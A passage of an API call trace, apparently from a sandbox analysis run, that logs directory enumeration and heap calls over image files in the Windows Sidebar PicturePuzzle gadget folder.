BaseAddress=0x12efab8) returned 1 [0090.174] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba30a755, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba30a755, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0090.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2c18 [0090.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133d240 [0090.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.175] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba30a755, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba30a755, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0090.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2c38 [0090.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133d348 [0090.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.177] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba30a755, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba30a755, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0090.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2c58 [0090.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133d450 [0090.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.179] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3308b4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3308b4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09a12fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0090.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2c78 [0090.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133d558 [0090.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.181] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba356a13, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba356a13, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09a12fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0090.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2c98 [0090.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133d660 [0090.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.182] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba356a13, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba356a13, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09a12fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0090.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2cb8 [0090.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133d768 [0090.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9200) returned 0x135c9e8 [0090.184] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba37cb72, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba37cb72, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09a12fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0090.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2cd8 [0090.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133d870 [0090.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.186] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba37cb72, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba37cb72, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09c745c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0090.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2cf8 [0090.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133d978 [0090.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.188] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3a2cd1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3a2cd1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09c745c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0090.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2d18 [0090.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133da80 [0090.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.190] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3a2cd1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3a2cd1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09c745c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0090.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2d38 [0090.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133db88 [0090.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.191] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3c8e30, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3c8e30, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09ed5bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0090.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2d58 [0090.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133dc90 [0090.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.193] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3c8e30, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3c8e30, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09ed5bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0090.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.194] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3eef8f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3eef8f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0a1371c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0090.194] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4150ee, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4150ee, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0a3987c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0090.194] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4150ee, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4150ee, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0a3987c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0090.194] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba43b24d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba43b24d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0aabc9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0090.194] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4613ac, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4613ac, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0ad1dfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0090.195] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba48750b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba48750b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0ad1dfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0090.195] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ad66a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4ad66a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc095503c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="setting_back.png", cAlternateFileName="")) returned 1 [0090.195] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2be497, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2be497, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b1e0bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_down.png", cAlternateFileName="")) returned 1 [0090.195] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba298338, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba298338, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b1e0bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd33, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_over.png", cAlternateFileName="")) returned 1 [0090.195] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2be497, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2be497, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b1e0bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_up.png", cAlternateFileName="")) returned 1 [0090.195] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba167840, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba167840, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b6a37c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile16.png", cAlternateFileName="")) returned 1 [0090.195] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba18d99f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba18d99f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b6a37c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile_bezel.png", cAlternateFileName="")) returned 1 [0090.195] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba18d99f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba18d99f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0bdc79c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile_drop_shadow.png", cAlternateFileName="")) returned 1 [0090.195] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba225f1b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba225f1b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_down.png", cAlternateFileName="")) returned 1 [0090.195] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1d9c5d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1d9c5d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd37, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_over.png", cAlternateFileName="")) returned 1 [0090.195] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1d9c5d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1d9c5d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 1 [0090.195] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1d9c5d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1d9c5d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 0 [0090.195] GetLastError () returned 0x12 [0090.195] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0090.195] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8196b61f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8196b61f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc082453c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc082453c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, 